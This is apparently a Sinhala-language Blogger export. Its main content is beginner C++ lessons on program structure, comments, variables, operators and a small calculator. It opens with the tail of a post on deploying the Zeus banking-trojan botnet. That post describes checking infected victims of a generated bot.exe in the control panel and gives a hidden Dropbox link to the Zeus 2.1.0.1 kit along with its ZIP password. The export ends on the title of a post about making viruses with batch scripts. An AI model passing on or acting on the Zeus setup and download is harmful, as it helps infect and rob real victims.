<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiO3dQvQNORb4yV7NX3yBZTwNGe_YUwHAqn_rW4cCB8pOcrXituizRLwOfRGgIQ8SAXjcTPvS10YoQjKgYiLGf3D0EtzgtNbIEKaiiskCqv1BHUberXZ-waSnxmXVhrZ9OtGxZfDXqy9BR/s1600/capture-20140927-162624.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiO3dQvQNORb4yV7NX3yBZTwNGe_YUwHAqn_rW4cCB8pOcrXituizRLwOfRGgIQ8SAXjcTPvS10YoQjKgYiLGf3D0EtzgtNbIEKaiiskCqv1BHUberXZ-waSnxmXVhrZ9OtGxZfDXqy9BR/s1600/capture-20140927-162624.png" height="230" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie9um7-b3RZeRff956BFkYNftiuvFPN4w4VGpEop9jPS20zgUEfapdbDphkV4oDofBOqC_Qkd4ajCV83fnXEO6F8TPtEI9qDSqJajRu8ry68rxp1e6HlS1MNNpLs3nMp1_2NQmeQIHlqYV/s1600/capture-20140927-163007.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie9um7-b3RZeRff956BFkYNftiuvFPN4w4VGpEop9jPS20zgUEfapdbDphkV4oDofBOqC_Qkd4ajCV83fnXEO6F8TPtEI9qDSqJajRu8ry68rxp1e6HlS1MNNpLs3nMp1_2NQmeQIHlqYV/s1600/capture-20140927-163007.png" height="230" width="320" /></a></div>
<br />
9 step: දැන් ඔයා generate කරගත්ත bot.exe එකට victim infecte වුනහම cp එකෙන් බලාගන්න පුලුවන්. එච්චරයි.
<br />
<br />
මේ Zeus BotNet එක කීයටවත් ඔයාලගේ Hosting වලට upload කරල ක්රියාත්මක කරන්න යන්න එපා Hosting Account එකට sory තමා.<br />
<br />
<article id="default-usage">
<div class="to-lock" style="display:none;">
-- Hidden Content Starts --
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.dropbox.com/s/ik1129hvz3bykrk/Zeus_2.1.0.1.zip?dl=0" target="_blank"><img alt="https://www.dropbox.com/s/ik1129hvz3bykrk/Zeus_2.1.0.1.zip?dl=0" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNmoLPG64SSxMYsAV5zbKZ10rzXYhM09IpdbkOzmQDqyrYcQkPsGOMhL6Yh2AyZ0Pl_en6uw9l-jPc0bKeZS2_Oxc6lE-HbKw3nFmNabW4t7qQ4oDQarxw7NvTb26nkxd27xNmIWTtDLbt/s1600/download-button-fertig1.jpg" height="84" width="200" /></a></div>
<div style="text-align: justify">
ZIP PW IS = ZEUS_H4CK3R#
</div>
</div>
</article>Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com1tag:blogger.com,1999:blog-1015943570259670143.post-79651994880340854812014-09-24T21:25:00.002+05:302014-09-24T21:27:01.151+05:30C++ සිංහලෙන් පාඩම 7 - variables බාවිතය තවදුරටත්.<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBT4QfE5ld-6Dpz6Hvq5NmD5qL98-4Mr6ob-3HhZ58qZ2U2-NSwL-YbR5MOLvWEF5IOYL45ggd7XQ6XgsanE-2f32OWt442NOYagijHlG_Ns5RlI35styQ4EKATgeLvZVe708KSvFMycn/s1600/Screenshot+from+2014-09-24+21:11:41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBT4QfE5ld-6Dpz6Hvq5NmD5qL98-4Mr6ob-3HhZ58qZ2U2-NSwL-YbR5MOLvWEF5IOYL45ggd7XQ6XgsanE-2f32OWt442NOYagijHlG_Ns5RlI35styQ4EKATgeLvZVe708KSvFMycn/s1600/Screenshot+from+2014-09-24+21:11:41.png" height="232" width="400" /></a></div>
<br />
අපි දැනටමත් දන්නව variable එකක් බාවිතා කරල කෙහොමද දත්ත ලිවීම සහ කියවීම කරන්නේ කියල. ඒ වගේම අපිට හැකියාවක් තියනව මේ variables වෙනස් කරල අපේ program එකේ හැසීරීමේ යම් වෙනස් කම් සිදුකරන්න.
<br />
<br />
මුලින්ම අපි බලමු මේ assignment operator(=) එක, අපිට පුලුවන් මේක බාවිතා කරල variable එකකට යම් වටිනාකමක් ලබා දෙන්න.
<br />
<br />
<span style="color: #e06666;">int x;
<br />x = 5;
</span><br />
<br />
x = 5 මෙකේන් අදහස් වෙන්නේ x සමානයි 5 කියන දේ නෙමේ. x කියන variable එකට 5 කියන වටිනාකම ලබාදීමක් තමයි සිද්ද වෙන්නේ. ඒ වගේම C++ වලදී සමාන ලකුනු දෙකක් බාවිතා කරන operator එකකුත් තියනව x == 5 මෙහිදී සිද්ද වෙන්නේ x කියන variable එකට 5 කියන වටිනාකම ලබාදීමක් නෙමෙයි x variable එකේ වටිනාකම 5 ද යන්න සොයා බැලීමක්. ඉතින් මේ දේ මම ගොඩක්ම කෙටියෙන් තමයි පැහැදිලි කරේ මොකද ඉදිරියේදී අපි බාවිතා කරන if සහ loops කියන statements වලදී මේ දෙවල් ගොඩක් බාවිතා වෙනව. එහිදී ඔයාලට බාවිතය මගින් ගොඩාක් මේ දේවල් අවබෝද කරගන්න පුලුවන්.
<br />
<br />
ඒ වගේම අපිට පුළුවන් ගණිතයේ බිවිතා වෙන සංඛෙතත් බාවිතා කරන්න.
<br />
<br />
<ul>
<li> * Multiplies two values
</li>
<li> - Subtracts two values
</li>
<li> + Adds two values
</li>
<li> / Divides one value by another
</li>
</ul>
<br />
මේ විදිහට තමයි ඒවා බාවිතා වෙන්නේ:
<br />
<br />
<span style="color: #e06666;">a = 4 * 6; </span> <span style="color: #666666;"> // a variable එක 24 යන අගය ලබාගනී.
</span><br />
<span style="color: #e06666;">a = a + 5;</span> <span style="color: #666666;">// මෙහිදි සිදුවන්නේ අපි a ට ලබා දුන්න අගයට 5 ක් එකතු කරල නැවත a variable එකේ store කරනව.
</span><br />
<br />
හොඳයි අපි ඊලඟට බලමු කොහොමද කෙටි ක්රමයකට variable එකකට අගයක් එකතු කිරීම සහ අඩුකිරීම කරන්නේ කියල.
<br />
<br />
<span style="color: #e06666;">int x = 0;
<br />x = x + 1;
</span><br />
<br />
මේකෙන් සිද්ද වෙන්නේ මුලින්ම x කියන variable එකට 0 කියල අගයක් ලබාදෙනව. ඊට පස්සේ නැවතත් x ට 1 ක් එකතු කරල x ගේ අගය update කරනව. මොන එහෙකටද 0 දුන්නේ මුලින්ම 1 දුන්නනම් ඉවරයිනෙ නේද. නෑ නෑ එහෙම බෑ ඒකට හේතුවක් තියනව මේ වගේ pattern බාවිතා වෙන්නේ loops කියන concepts එකේදි. ඔයාලට ඉස්සරහට බලාගන්න හොඳින් තේරුම් ගන්න පුලුවන්.
<br />
<br />
අපිට මේකම මේ විදිහට ලියන්නත් පුලුවන්.
<br />
<br />
<span style="color: #e06666;">int x = 0;
<br />x++;
</span><br />
<br />
මේකෙත් අවසානයේදී x ගේ අගය වෙන්නේ 1 තමයි. අපි මේ (++) operator එකට කියනව increment operator එකක් කියල.
<br />
<br />
අපිට මේ operator එක අනිත් පැත්තට බාවිතා කරන්නත් පුලුවන් මේ විදිහට (--) අගයක් අඩු කිරීමට එහිදී අපි ඒකට කියනව decrement operator එකක් කියල. ඔයාලට මේක දැක්කහම යම් අදහසක් එනව ඇති කොහොමද මේ C++ වලට මේ නම ලැබුෙන් කියල. මං ඔයාලට C++ හඳුන්වා දීමේ post එකේදි කිවුව C++ කියන language එක හැදිල තියෙන්නේ C කියන language එක මත පදනම්ව කියල. ඉතින් මේ C++ කියන එකේ ඇත්තම තේරුම තමයි “C plus one” c ට එකක් එකතු කරල හදපු අලුත් language එකක්.
<br />
<br />
මේ වගේ තවත් shortcut operators කීපයක් තියන variable එකකට value එකක් දෙන්න පුලුවන් විදිහේ. <br />
<br />
<span style="color: #e06666;">x += 5</span>; <span style="color: #666666;">// x ට කලින් ලබා දී තිබූ අගයට තට 5 ක් එකතු කරල නව අගයක් ලබාදීම.</span>
<br />
<br />
මේ විදිහට අඩුකිරීම, ගුණකිරීම, බේදීමත් කරන්න පුලුවන්:
<br />
<br />
<span style="color: #e06666;">x -= 5;
<br />x *= 5;
<br />x /= 5; </span>
<br />
<br />
අවසාන වශයෙන් ++ සහ -- මේ operators අපිට variable එකට පසුව වගේම variable එකට ඉදිරියෙනුත් යොදන්න පුලුවන්.
<br />
<br />
<span style="color: #e06666;">--x;
<br />++y;</span><br />
<br />
මේක බාවිතා වෙන අවස්තාවක් තමයි අපි variable එකේ අගය cout කරනවනම්,
<br />
<br />
int x = 0;
<br />
cout << x++;<br />
<br />
මේ විදිහට ලිවුවොත් output එක ලැෙබන්නේ x හී අගය 0 ලෙසමයි ඒකට හේතුව තමයි operator එක තියෙන්නේ x ට පස්සේ නිසා ක්රයාත්මක වෙන්න කලින් x හී අගය පෙන්නනව. <br />
<br />
int x = 0;
<br />
cout << ++x;<br />
<br />
මේ විදිහට යෙදීමෙන් x ගේ නව අගය ලබාගන්න පුලුවන්. <br />
<br />
හොඳයි අපි මෙතෙක් ඉගන ගත්ත දේවල් බාවිතා කරල පොඩි program එකක් හදන්නයි යන්නේ ඇත්තටම පොඩි calculator එකක්. <br />
මෙන්න code එක: <br />
<br />
<span style="color: red;"><b>---------Don't copy/past the code write it yourself---------</b></span><br />
<br />
<span style="color: #e06666;">#include <iostream><br />using namespace std;<br />int main()<br />{<br /> cout << "This is a small calculator in C++ \n";<br /> int first_argument;<br /> int second_argument;<br /> cout << "Enter first argument: ";<br /> cin >> first_argument;<br /> cout << "Enter second argument: ";<br /> cin >> second_argument;<br /> cout << first_argument << " * " << second_argument << " = " <<<br /> first_argument * second_argument << endl;<br /> cout << first_argument << " + " << second_argument << " = " <<<br /> first_argument + second_argument << endl;<br /> cout << first_argument << " / " << second_argument << " = " <<<br /> first_argument / second_argument << endl;<br /> cout << first_argument << " - " << second_argument << " = " <<<br /> first_argument - second_argument << endl;<br />}</span><br />
<br />
මේ විදිහටම නැතුව වෙනස් විදිහටත් හදල බලන්න උදා:- දශම සංඛ්යා බාවිතා කරන්න පුලුවන් වෙන්න එහෙම. <br />
හොඳයි එහෙනම් ගනන් ටිකක් එහෙම හදන්නකෝ ඊලඟ post එක දානකන්.
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com0tag:blogger.com,1999:blog-1015943570259670143.post-60586185219302163932014-09-14T01:34:00.000+05:302014-09-14T01:34:15.364+05:30C++ සිංහලෙන් පාඩම 6 - පරිශීලක අන්තර් ක්රියාවන් සහ Variables(විචල්යන්) මගින් තොරතුරු ගබඩා කිරීම.<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDQk_lQ2C5eM9cBO8RIpSwE2_55bi25D9Xkok8Udap5SV-_iTH2yC9EW9rNb1rzKpXTbGSE7Cm68O8R-jwOAS1rkuXp7QmjL5EveZPSVVTQmeMG-0j37xZPe9F0rEMHnjCfbR3WuLhbsW0/s1600/pirate_key_1920x1080_92693.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDQk_lQ2C5eM9cBO8RIpSwE2_55bi25D9Xkok8Udap5SV-_iTH2yC9EW9rNb1rzKpXTbGSE7Cm68O8R-jwOAS1rkuXp7QmjL5EveZPSVVTQmeMG-0j37xZPe9F0rEMHnjCfbR3WuLhbsW0/s1600/pirate_key_1920x1080_92693.jpg" height="225" width="400" /></a></div>
හොඳයි අපි කලින් පාඩම් වලදී ඉගන ගත්තා කොහොමද අපි විසින් දෙන information(තොරතුරක්) එකක් කොහොමද program එක හරහා display කරගන්නේ කියල. ඒ වගේම කොහොමද අපේ program එකට comments එකතු කරන්නේ කියල. නමුත් අපිට අවශ්යනම් යම් තොරතුරක් program එකට පිටතින් ලබාගන්න අපි කොහොමද ඒක කරන්නේ?<br /><br />අපි අද ඉගන ගන්න යන්නේ ඒ ගැන තමයි. program එකට පිටතින් අපි තොරතුරු ලබාගන්නකොට එම තොරතුරු program එක තුල ගබඩා කරගැනීමේ හැකියාවක් තියෙන්න ඔනේ. ඉතින් මේ තොරතුරු store කරගන්න තමයි අපි variables බාවිතා කරන්නේ. මෙහිදී විවිද විවිද වර්ගයේ තොරතුරු store කරගන්න අපි විවිද විවිද වර්ගයේ variables බාවිතා කරනව. මේ තොරතුරු store කරගන්න නම් අපි මුලින්ම කරන්නේ අපි ඒ සඳහා යොදා ගන්ගා variable එක compiler එකට හඳුන්වා දෙන්න ඔනේ. අපි ඒකට කියනව variable එකක් declare කරනව කියල. ඉතින් මේ variable declare කිරිමේදී ඒකට යොදා ගන්නා ක්රමවේදයක් තියනව ඒ තමයි. මුලින්ම අපි දෙන්න ඔනේ අපි බාවිතා කරන variable එකේ data type එක ඊලඟට අපි ඒ variable එකට ලබා දෙන name එක. <br /><br />අපි ගොඩක්ම බාවිතා කරන මූලික data type කීපයක් තමයි <span style="color: #3d85c6;">char</span>, <span style="color: #3d85c6;">int</span>, සහ <span style="color: #3d85c6;">double</span> කියන්නේ. මේ char කියන data type එකේදි අපට store කරගන්න පුලුවන් single character එකක් විතරයි, ඒවගේම මේ int කියන data type එකේදි අපට store කරගන්න පුලුවන් integers(පූර්ණ සංඛ්යා) පමනයි, සහ මේ double කියන data type එකේදී අපට පුලුවන් දශම ස්ථාන සහිත සංඛ්යා store කරගන්න. ඉතින් මේ හැම data type එකකම මේ නමම තමයි keyword එක විදිහට අපි බාවිතා කරන්නේ variable එක declare කිරීමේදී. <br /><br /><br /><span style="color: #0b5394;"><u>Declaring variables in C++</u></span><br /><br />මං කලින් කිවුව වගේ අපි variable එකක් බාවිතා කරන්න කලින් මුලින්ම ඒ variable එක declare කරගන ඉන්න ඔනේ. ඉතින් මේ variable එකක් declare කිරීමේදී රීතිය තමය් මුලින් data type එක සහ පසුව variable එකේ නම. <br /><br />අපි පොඩි උදාහරනයක් බැලුවොත් :- <br /><br />int whole_number;<br />char letter;<br />double number_with_decimals;<br /><br />ඒ වගේම අපිට පුලුවන් එකම වර්ගයේ variables කීපයක් තියනවනම් එවා මේ ආකාරයට declare කරන්න. <br /><br />int a, b, c, d;<br /><br /><span style="color: #0b5394;"><u>variables බාවිතය. </u></span><br /><br />හොඳයි අපි දැන් දන්නව කොහොමද compiler එකට variable එකක් declare කරන්නේ කියල. දැන් බලන්න යන්නේ මේ declare කරපු variable එක කොහොමද බාවිතා කරන්නේ කියල. ඉතින් මේ variable එකක් තුල store කරන්න අපිට data එකක් අවශ්යයි අපි ඒ data අපේ program එකට ලබා ගන්න බාවිතා කරනව cin (උච්චාරනයේදී සී ඉන්) කියන object එක. මේක හරියටම cout වල විරුද්ද පැත්ත වගේ. හොඳයි අපි බලමු cin බාවිතා කරල අපේ variable එකට data එකක් store කරගන්න ආකාරය. <br /><br /><br />
<blockquote class="tr_bq">
#include <iostream><br />using namespace std;<br />int main ()<br />{<br /> int thisisanumber;<br /> cout << "Please enter a number: ";<br /> cin >> thisisanumber;<br /> cout << "You entered: " << thisisanumber << "\n";<br />}</blockquote>
<br />අපි line එකින් එක අරන් බලමු මොකද වෙන්නේ කියල. මුල් line 3 ගැනනම් කියන්න යනනේ නෑ මොකද ඔයාල දැනටමත් දන්නවනේ. අපි එතනින් එහා ටික ගැන බලමු. <br /><br /><span style="color: #e06666;">int thisisanumber;</span><br /><br />මේකෙන් කරන්නේ thisisanumber කියන variable එක int data type එකෙන් declare කරන එක. <br /><br /><span style="color: #e06666;">cin >> thisisanumber;</span><br /><br />cin >> මේ function එකෙන් කරන්නේ user type කරන value එක thisisanumber කියන variable එකේ store කරගන්නව. <br /><br />මං ඔයාලට කලින් program එකේදි කිවුවා ඔයාලගේ program එක cmd එකේ්න් open කරොත් ඉක්මනින්ම exit වෙනවනම් මෙන්න මේ line එක "cin.get()" එකතු කරන්න කියල code එකේ අවසානයට. නමුත් මේ program එකේදි ඔයාල මෙ line එක එකතු කරත් ඒ ගැටලුව දිගටම තියෙන්න පුලුවන්. ඒකට හේතුව තමයි මෙ "cin.get()" කියන line එකෙන් අදහස් වෙන්නේ program එක user ගේ key presse එකක් බලාපොරොත්තුවේන් රැඳීසිටීමයි. නමුත් මේ program එකේදී variable එකට value එකක් store කරන්නනම් value එක type කරල enter key එක presse කරන්න සිද්ද වෙනව එහිදී ඒ key pressed සිග්නල් එක මේ cin.get() line එකත් ගන්නව ඒ නිසා program එක ඉක්මනින්ම exit වෙනව. ඒකට කරන්නේ අපි මෙන්න මේ විදිහට තව line එකක් program එකට එකතු කර ගන්නව. <br /><br /><br />
<blockquote class="tr_bq">
cin.ignore();<br /> cin.get()<br />}</blockquote>
<br />මෙහිදී සිද්ද වෙන්නේ පලවෙනි key presse එක ignore කරල තව key presse එකක් බලාපොරොත්තුවේන් රැඳීසිටීමයි.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCDl4XwSu-W4WzkYU4oK_djwKFCbF1FThUlMGr5lMyyqzA8MbCt7RcmXvB3Y2ykHzwjVFwBYYN49ToPOspElzkUowZDLMIn6ynz94QCeiAM-7EhGBISQ8kiwFsuq8zaLvIDgzScOHDvkWS/s1600/Screenshot+from+2014-09-14+01:19:50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCDl4XwSu-W4WzkYU4oK_djwKFCbF1FThUlMGr5lMyyqzA8MbCt7RcmXvB3Y2ykHzwjVFwBYYN49ToPOspElzkUowZDLMIn6ynz94QCeiAM-7EhGBISQ8kiwFsuq8zaLvIDgzScOHDvkWS/s1600/Screenshot+from+2014-09-14+01:19:50.png" height="222" width="400" /></a></div>
<br />
හොඳයි එහෙනම් ඔයාල මේ program එක run කරල බලන්න. තව ඔයාලට පුලුවන් int data type එක වෙනුවට අනිත් data type දෙකත් බාවිතා කරල බලන්න එහිදී data type එක විතරයි මාරු කරන්න අවශ්ය වෙන්නේ code එකේ වෙන මුකුත් වෙනස් කරන්න ඔනෙ නෑ. අපි ඊලඟ පාඩමෙන් හම්බවෙමු. <br />Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com0tag:blogger.com,1999:blog-1015943570259670143.post-8903145910568279222014-09-11T13:46:00.004+05:302014-09-11T13:55:12.907+05:30C++ සිංහලෙන් පාඩම 5 - පලවෙනි program එකට සූදානම් වෙමු. 2 කොටස.<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixdiCFmHMk2N0y67gfqwbvhi9X1nT0NSBviizzzks5hOvDc5pLCUgPOtdepfBKmBCR-YVXUsRcjRjie5pvwMGR71StY96TsBKV2jxkjlxTfaG29pLxXSNL0XJeG76D6RFnuolMQtxJtw8K/s1600/Screenshot+from+2014-09-11+13:39:05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixdiCFmHMk2N0y67gfqwbvhi9X1nT0NSBviizzzks5hOvDc5pLCUgPOtdepfBKmBCR-YVXUsRcjRjie5pvwMGR71StY96TsBKV2jxkjlxTfaG29pLxXSNL0XJeG76D6RFnuolMQtxJtw8K/s1600/Screenshot+from+2014-09-11+13:39:05.png" height="241" width="400" /></a></div>
<span style="color: #0b5394;"><u>C++ programming වල මූලික ආකෘතිය හඳුනා ගනිමු. </u></span><br />
<br />
හම්... බොහෝදුරට අපි C++ program වල මූලික කරුණු අවබෝද කරගන අවසන්. අවසාන වශයෙන් කරන්න තියෙන්නේ ප්රබව කේතයේ දළ සැලැස්ම අවබොද කරගන්න එක තමයි. <br />
<br />
<blockquote class="tr_bq">
[include statements]<br />
using namespace std;<br />
<br />
int main()<br />
{<br />
[your code here];<br />
}</blockquote>
<br />
<span style="color: #0b5394;"><u>මොකද වෙන්නේ ඔයාට මේ එක කොටසක් හරිි මග හැරුනොත්? </u></span><br />
<br />
බැරි වෙලාවත් ඔයාට include statement එක එහෙම නැත්නම් using namespace std යන්න යොදන්න අමතක වුනොත් ඔයාගේ program එක compile කිරීමේදී අසමත් වෙනව. program එක නිවැරදිව compile වෙන්නේ නෑ කියන්නේ compiler එකට හඳුන ගත නොහැකි යම් දෙයක් ඔයාගේ කෝඩ් එකේ ඇතුලත් වෙනව කියන එකයි. ඒක සමහර විට syntax වැරැද්දක් වෙන්න පුලුවන් එහෙමත් නැත්නම් ඔයාට header file එක include කරන්න අමතක වෙලා වෙන්න පුලුවන්. ඔනම compiler අසමත් වීමකදී අවම වශයෙන් එකක් හෝ ඊට වැඩි සංඛ්යාවක errors අපිට දැක ගන්න පුලුවන් එම අසමත් වීමට හේතු වශයෙන් ඉදිරිපත් කරන. උදාහරනයක් වීදිහට මේ error එක බැලුවොත්. <br />
<br />
<blockquote class="tr_bq">
error: 'cout' was not declared in this scope</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-MCRLFoqK_Zs9SwHQkf6f_rmtwowqZLuV67Kfkr4O5qyUgTU-Uddlh8OzXLRgb-kH06c7nkBLJF1cDANQvWsL3Klb_bBItu1Dw_vOe-RHzwa8u7rFnNx_l4OGUd5LmdHN6rBl5w5h5sqx/s1600/Screenshot+from+2014-09-11+13:41:16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-MCRLFoqK_Zs9SwHQkf6f_rmtwowqZLuV67Kfkr4O5qyUgTU-Uddlh8OzXLRgb-kH06c7nkBLJF1cDANQvWsL3Klb_bBItu1Dw_vOe-RHzwa8u7rFnNx_l4OGUd5LmdHN6rBl5w5h5sqx/s1600/Screenshot+from+2014-09-11+13:41:16.png" height="125" width="400" /></a></div>
<br />
මේ වගේ error message එකක් ආවොත් අපි මුලින්ම බලන්න ඔනේ අපේ program එකේ උඩම කොටසේ තියන include statement එක නිවැරදිව යොදලද කියල. <br />
<br />
මේ Compiler errors සෑම විටම හඳුනා ගැනීම පහසු නෑ. අපි හිතමු ඔයාට semicolon එක යොදන්න අමතක වුනා කියල ඒ වගේ අවස්තාවකදී සෑම වර්ගයේම Compiler errors ඔයාට දකින්න පුලුවන්. මුලදිම නම් මේ Compiler errors හඳුන ගන්න එක අමාරු වෙන්න පුලුවන් නමුත් බාවිතයත් සමග ඒක ඔයාලට හුරුවෙයි. <br />
<br />
<span style="color: #0b5394;"><u>ඔබේ ක්රමලේකනය තුල අදහස් දැක්වීම.(Commenting) </u></span><br />
<br />
programming ඉගන ගන්නවනම් ඔයා තව දෙයක් දැනගන ඉන්න ඔනේ ඒ තමයි කොහොමද code එකක් ඇතුලේ යම් අදහසක් හෝ විස්තරයක් ඇතුලත් කරන්නේ කියල. අලුතින් programming ඉගන ගන්න කෙනෙක්ට ඒක ඉතාමත් වැදගත් දෙයක්. එමගින් පුලුවන් අපේ code එකේ යම් ස්තානයක හෝ යම් line එකක ක්රියාකාරීතවය එම කොටස ඉදීරීයේම විස්තර කරල තියා ගන්න. මේ comments බාවිතය programming වල හොඳ පුරුද්දක් විදියට තමයි සලක්නේ. ඉතින් අපි බලමු කොහොමද මේක කරන්නේ කියල. <br />
<br />
ඔයා යම් කෙොටසක් comment එකක් විදිහට ඇතුලත් කරොත් code එක run වීමේදි එම කොටස compiler එක විසින් මගහැර යනවත. // සලකුන යෙදීම මගින් තමයි compiler එකට යම් කොටසක් comment එකක් බව දැනුන් දෙන්නේ. මෙම සලකුන යෙදීම නිසා එම සලකුනේ සිට ඉදිරියට ඇති සම්පූර්ණ line එකම comment එකක් විදිහට කමයි compiler එක හඳුන ගන්නේ. නමුත් අපිට මෙය බාවිතා කල හැක්කේ එක line එකක comment එකක් සඳහා පමනයි. අපට අවශ්ය නම් line කීපයක කොටසක් comment එකක් ලෙස පලකරන්න එහිදී අපි බාවිතා කරන්නේ මෙම සලකුනු දෙකයි /* සහ */ මෙම සලකුනු දෙක අතර තමයි අපි අපේ comment එක යොදන්න ඔනෙ. <br />
<br />
උදා :-<br />
<br />
<blockquote class="tr_bq">
// මෙම line එක පමනක් comment එකක් වේ. <br />
මෙම line එක comment එකක් නොවේ. (එනම් මෙය code එකේ කොටසක්)<br />
<br />
/* පලවන line එක සහ <br />
දෙවන line එක යන දෙකම comments වේ<br />
*/</blockquote>
<br />
අපිට මෙය තව දෙයකට බාවිතා කරන්න පුලුවන් ඒ තමයි අපිට අවශ්ය නැත්නම් යම් statement එකක ප්රතිපලය දකින්න අපිට පුලුවන් එම statement එක comment out කරන්න. උදාහරනයක් විදිහට අපිට අවශ්ය නැත්කම් cout statement එකේ ප්රතිපලය දකින් ඒක comment out කරන්න පුලුවන්. උදා :-<br />
<br />
<blockquote class="tr_bq">
#include <iostream><br />
<br />
using namespace std;<br />
<br />
int main ()<br />
<br />
{<br />
// cout << "HEY, you, I'm alive! Oh, and Hello World!\n";<br />
}</blockquote>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDLK0NWkUfZZERDWj0tq4uxJrNhM6e7MzuO9h2Y_frz1ahQt-jdisg0tpkNUEMRL5QG-ld3S0ybOzAobsbwfEnhOLSYa-rHCtvPDRcE1qu_5BMnfeYnI89nd-Zl45xHsYw_fs9mq8XKB4r/s1600/Screenshot+from+2014-09-11+13:42:05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDLK0NWkUfZZERDWj0tq4uxJrNhM6e7MzuO9h2Y_frz1ahQt-jdisg0tpkNUEMRL5QG-ld3S0ybOzAobsbwfEnhOLSYa-rHCtvPDRcE1qu_5BMnfeYnI89nd-Zl45xHsYw_fs9mq8XKB4r/s1600/Screenshot+from+2014-09-11+13:42:05.png" height="213" width="400" /></a></div>
<br />
අපේ code එකේ යම් වැරැද්දක් තිබුනොත් එම ස්තානය හරියටම අඳුර අපිට මේ ක්රමය බාවිතයෙන් පුලුවන් මම ඒ ගැන ඉදිරියේදී පැහැදිලි කරන්නම්. <br />
<br />
<span style="color: #0b5394;"><u>programmer කෙනෙක් වගේ හිතන්න පුරුදු වෙමු. </u></span><br />
<br />
programmer කෙනෙක් කියන්නේ නිතරම පරිඝණක සමග ගනුදෙනු කරන කෙනෙක්ට. ඉතින් හොඳ programmer කෙනෙක් වෙන්නනම් අපි පරිඝණක තේරුම් ගන්න ඔනෙ. ඇත්තටම පරිඝණකයක් කියන්නේ ගොඩක්ම literal දෙයක් ඒකට සිංහල තේරුමක් ගැන මට අදහසක් නෑ මං හිතන විදිහට literal කියන්නේ පදගථාර්ත වගේ අදහසක් තමයි. කොහොම හරි පරිඝණක කියන්නේ අපි කියන දේ විතරක්ම කරන උපකරණයක්. පරිඝණකයට බෑ හිතල දෙයක් කරන්න. අපිට පරිඝණකය ලවා යම් දෙයක් කර ගැනීමට අවශ්යනම් අපට ඒ කාර්ය්ය කරන ආකාරය අකුරෙන් අකුර විස්කර කරන්න වෙනව. ඒක ටිකක් කලකිරවනව තමයි නමුත් ඒක තමයි ඇත්ත. <br />
<br />
නමුත් වාසනාවකට වගේ අපිට පුලුවන් programming කරද්දි, ඔයා එකපාරක් පරිඝණකයට යම් කාර්ය්යක් කරන ආකාරය විස්තර කරොත් එම කාර්ය්යට නමක් දීල තියන්න. so අපි නැවත එම කාර්ය කරගැනීමේදී අපට අර සියලු විස්තරයන් ඇතුල් කිරීමට අවශ්යතාවයක් වෙන්නේ නෑ. ඔයාලට මේක හොඳින්ම තේරුම් ගන්න පුලුවන් අපි functions එක්ක වැඩකරන්න ගත්තු ගමන්. <br />
<br />
<span style="color: #666666;">හොඳයි අපි දැනට අපේ පලවෙනි program එක හදල ඉවරයි. ඒ වගේම එතනින් එහාට අපි තව දේවල් ටිකක් ගැන කතා කරා. මං හිතනව දැන් බොහෝ දුරට ඔයාලට C++ Programming කියන දේ ගැන අදහසක් ඇති කියල. මං කැමතියි ඔයාලගෙන් යම් අදහසක් දැන ගන්න මේ පිලිබඳ මම මේ පාඩම් මාලාව කරගන යන ක්රමය හොඳයිද? ඔයාලට හොඳින් තේරෙනවද? අඩුපාඩු තියනවද? මොකද ඔයාලට මේක හොඳින් තේරෙන්නේ නැත්නම් මං මේ කරන දෙයින වැඩක් නෑ. හොඳයි ඊලඟ පාඩමෙන් Variables බාවිතය පිලිබඳ තමයි කියල දෙන්නේ. අපි ඒ පාඩමෙන් නැවත හමුවෙමු. </span>Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com1tag:blogger.com,1999:blog-1015943570259670143.post-46155552843784039382014-09-09T20:18:00.001+05:302014-09-30T14:38:04.729+05:30BATCH Programming මගින් VIRUSES නිර්මාණය කිරීම. <div class="separator" style="clear: both; text-align: center;">
